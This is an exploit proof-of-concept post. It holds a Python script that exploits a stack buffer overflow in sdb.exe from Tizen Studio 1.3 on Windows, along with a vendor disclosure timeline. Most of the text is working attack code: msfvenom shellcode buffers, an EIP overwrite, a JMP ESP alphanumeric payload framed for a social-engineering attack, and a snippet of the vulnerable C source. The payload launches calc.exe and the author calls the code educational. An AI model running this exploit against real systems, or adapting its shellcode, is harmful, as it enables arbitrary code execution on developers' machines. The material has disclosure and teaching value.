Tizen Studio 1.3 Smart Development Bridge Buffer Overflow
Posted on 28 October 2017
# Exploit Title: Smart Development Bridge <=2.3.2 (part of Tizen Studio 1.3 Windows x86/x64) - Buffer Overflow PoC # Date: 22.10.17 # Exploit Author: Marcin Kopec # Vendor Homepage: https://developer.tizen.org/ # Software Link: https://developer.tizen.org/development/tizen-studio/download# # Version: 2.3.0, 2.3.2 (some older versions are affected as well) # Tested on: Microsoft Windows [Version 10.0.16299.19] # 2.3.2 (sdb.exe can be extracted from Tizen Studio 1.3 for Windows x86/x64 installation package): # e88de99ee069412b7612d85c00aa62fc sdb.exe # 2.3.0: # f9fd3896195900ec604c6f182a411e18 sdb.exe # The file can be located in "tools" subdirectory after the extraction # This code has been created for educational purposes only, to raise awareness on software security, and it's harmless # by intention (the PoC runs calc.exe). Please do not change the code behaviour to malicious # Vulnerability Discovery History # 28/Jul/16 - Tizen Project has been informed about the vulnerability (https://bugs.tizen.org/browse/TM-249) # 28/Jul/16 - Got suggestion from CL to inform Tizen Mobile project # 29/Jul/16 - Moved the issue to Tizen Mobile project # - NO RESPONSE - # 7/Sep/16 - Escalated through Samsung security contact (BZ) # 14/Nov/16 - Got informed by BZ that HQ is dealing with the issue with no further details # - NO RESPONSE - # 02/Oct/17 - Tizen Mobile project has been informed about plans to release PoC on exploit-db # - NO RESPONSE - # 22/Oct/17 - The PoC submitted to exploit-db import struct import subprocess import sys ARGS = " launch A A A A A " def tech_direct_exec(sdb_path): # msfvenom -a x86 --platform Windows -p windows/exec CMD=calc -e x86/shikata_ga_nai # -b 'x00x20x0ax0dx1bx0bx0c' -f python buf = "" buf += "xb8xb6x98xe6xfaxdbxcbxd9x74x24xf4x5bx31" buf += "xc9xb1x30x31x43x13x83xebxfcx03x43xb9x7a" buf += "x13x06x2dxf8xdcxf7xadx9dx55x12x9cx9dx02" buf += "x56x8ex2dx40x3ax22xc5x04xafxb1xabx80xc0" buf += "x72x01xf7xefx83x3axcbx6ex07x41x18x51x36" buf += "x8ax6dx90x7fxf7x9cxc0x28x73x32xf5x5dxc9" buf += "x8fx7ex2dxdfx97x63xe5xdexb6x35x7exb9x18" buf += "xb7x53xb1x10xafxb0xfcxebx44x02x8axedx8c" buf += "x5bx73x41xf1x54x86x9bx35x52x79xeex4fxa1" buf += "x04xe9x8bxd8xd2x7cx08x7ax90x27xf4x7bx75" buf += "xb1x7fx77x32xb5xd8x9bxc5x1ax53xa7x4ex9d" buf += "xb4x2ex14xbax10x6bxcexa3x01xd1xa1xdcx52" buf += "xbax1ex79x18x56x4axf0x43x3cx8dx86xf9x72" buf += "x8dx98x01x22xe6xa9x8axadx71x36x59x8ax8e" buf += "x7cxc0xbax06xd9x90xffx4axdax4exc3x72x59" buf += "x7bxbbx80x41x0exbexcdxc5xe2xb2x5exa0x04" buf += "x61x5exe1x66xe4xccx69x69" stack_adj = "x83xECx7F" * 2 # SUB ESP,0x7F - stack adjustment sc = stack_adj + buf eip = "x01xedx8b" # 008BED01 - 3 byte EIP overwrite payload = "B" * 2000 + "x90" * (2086 - len(sc) - 1) + "x90" + sc + eip print "Trying to exploit the binary... " print "Payload length: " + str(len(payload)) print sdb_path + ARGS + payload subprocess.Popen([sdb_path, "launch", "A", "A", "A", "A", "A", payload], stdout=subprocess.PIPE) def tech_social_ascii(sdb_path, jmp_esp_addr): eip = struct.pack('<L', int(jmp_esp_addr, 0)) # msfvenom -a x86 --platform Windows -p windows/exec CMD=calc -e x86/alpha_mixed BufferRegister=ESP -f python buf = "" buf += "x54x59x49x49x49x49x49x49x49x49x49x49x49" buf += "x49x49x49x49x49x37x51x5ax6ax41x58x50x30" buf += "x41x30x41x6bx41x41x51x32x41x42x32x42x42" buf += "x30x42x42x41x42x58x50x38x41x42x75x4ax49" buf += "x6bx4cx4dx38x4ex62x77x70x63x30x35x50x71" buf += "x70x6fx79x79x75x50x31x69x50x62x44x6cx4b" buf += "x32x70x34x70x6ex6bx76x32x36x6cx6cx4bx63" buf += "x62x45x44x6ex6bx61x62x37x58x76x6fx6fx47" buf += "x70x4ax51x36x44x71x69x6fx4cx6cx45x6cx55" buf += "x31x61x6cx36x62x54x6cx47x50x39x51x78x4f" buf += "x74x4dx67x71x69x57x68x62x6bx42x36x32x53" buf += "x67x4cx4bx61x42x52x30x6cx4bx31x5ax67x4c" buf += "x4ex6bx32x6cx57x61x53x48x59x73x62x68x67" buf += "x71x48x51x36x31x6cx4bx31x49x47x50x35x51" buf += "x38x53x6ex6bx30x49x55x48x68x63x34x7ax31" buf += "x59x4cx4bx50x34x6cx4bx33x31x5ax76x70x31" buf += "x6bx4fx6cx6cx79x51x78x4fx46x6dx35x51x58" buf += "x47x50x38x39x70x70x75x79x66x64x43x43x4d" buf += "x4cx38x55x6bx63x4dx61x34x70x75x6dx34x72" buf += "x78x4ex6bx61x48x45x74x47x71x78x53x72x46" buf += "x6cx4bx44x4cx62x6bx4cx4bx51x48x35x4cx43" buf += "x31x69x43x6cx4bx67x74x4ex6bx55x51x6ex30" buf += "x6bx39x50x44x65x74x37x54x53x6bx63x6bx73" buf += "x51x72x79x71x4ax72x71x4bx4fx59x70x43x6f" buf += "x33x6fx32x7ax4ex6bx62x32x5ax4bx4ex6dx51" buf += "x4dx32x4ax65x51x6ex6dx6bx35x6ex52x55x50" buf += "x73x30x63x30x46x30x30x68x55x61x4cx4bx52" buf += "x4fx4fx77x69x6fx5ax75x4dx6bx6cx30x6fx45" buf += "x4cx62x53x66x30x68x79x36x4ax35x4dx6dx6f" buf += "x6dx6bx4fx39x45x75x6cx55x56x53x4cx56x6a" buf += "x6bx30x39x6bx6bx50x64x35x76x65x4dx6bx32" buf += "x67x42x33x62x52x32x4fx71x7ax45x50x31x43" buf += "x69x6fx6ex35x61x73x31x71x52x4cx73x53x75" buf += "x50x41x41" stack_adj = "x25x4Ax4Dx4Ex55x25x35x32x31x2A" stack_adj += "x2dx66x4fx66x47x2dx4cx31x4cx36x2dx67x39x6ax2ax2dx57x57x57x57x50" stack_adj += "x50x5C" + "A" * 4 ascii_nop_sleed = "C" * 70 payload = sdb_path + ARGS + "A" * 4086 + eip + "x77x21x42x42x20" + ascii_nop_sleed + stack_adj + buf print "Now sdb.exe user could be asked to run the following code from cmd line:" print payload f = open("sdb_poc.txt", 'w') f.write(payload) f.close() print "The payload has been also saved to sdb_poc.txt file for your convenience" def bonus_exercise(): print """Can you spot the bug here? int launch_app(int argc, char** argv) { static const char *const SHELL_LAUNCH_CMD = "shell:/usr/bin/sdk_launch_app "; char full_cmd[4096]; int i; snprintf(full_cmd, sizeof full_cmd, "%s", SHELL_LAUNCH_CMD); for (i=1 ; i<argc ; i++) { strncat(full_cmd, " ", sizeof(full_cmd)-strlen(" ")-1); strncat(full_cmd, argv[i], sizeof(full_cmd)-strlen(argv[i])-1); } } """ def usage(): print """Smart Development Bridge <=2.3.2 (part of Tizen Studio 1.3 Windows x86/x64) - Buffer Overflow PoC by Marcin Kopec <m a r c i n . k o p e c @ h o t m a i l . c o m> Demonstrated Exploitation Techniques: 1: Direct execution, 3-byte EIP overwrite, Stack adjustment 2: Payload for social engineering attack, JMP ESP (!mona find -s "\xff\xe4" -cp alphanum), Alphanumeric shellcode 3: Bonus exercise - source code analysis This code has been created for educational purposes only, to raise awareness on software security, and it's harmless by intention (the PoC runs calc.exe). Please do not change the code behaviour to malicious Usage: python sdbBOpoc.py [Technique_ID] [Path_to_sdb.exe] [Address_of_JMP_ESP] Examples: python sdbBOpoc.py 1 C:TizenToolssdb.exe python sdbBOpoc.py 2 C:TizenToolssdb.exe 0x76476557 python sdbBOpoc.py 3""" def main(): if len(sys.argv) > 1: if int(sys.argv[1]) == 1: if len(sys.argv) == 3: tech_direct_exec(sys.argv[2]) if int(sys.argv[1]) == 2: if len(sys.argv) == 4: tech_social_ascii(sys.argv[2], sys.argv[3]) if int(sys.argv[1]) == 3: bonus_exercise() else: usage() if __name__ == '__main__': main()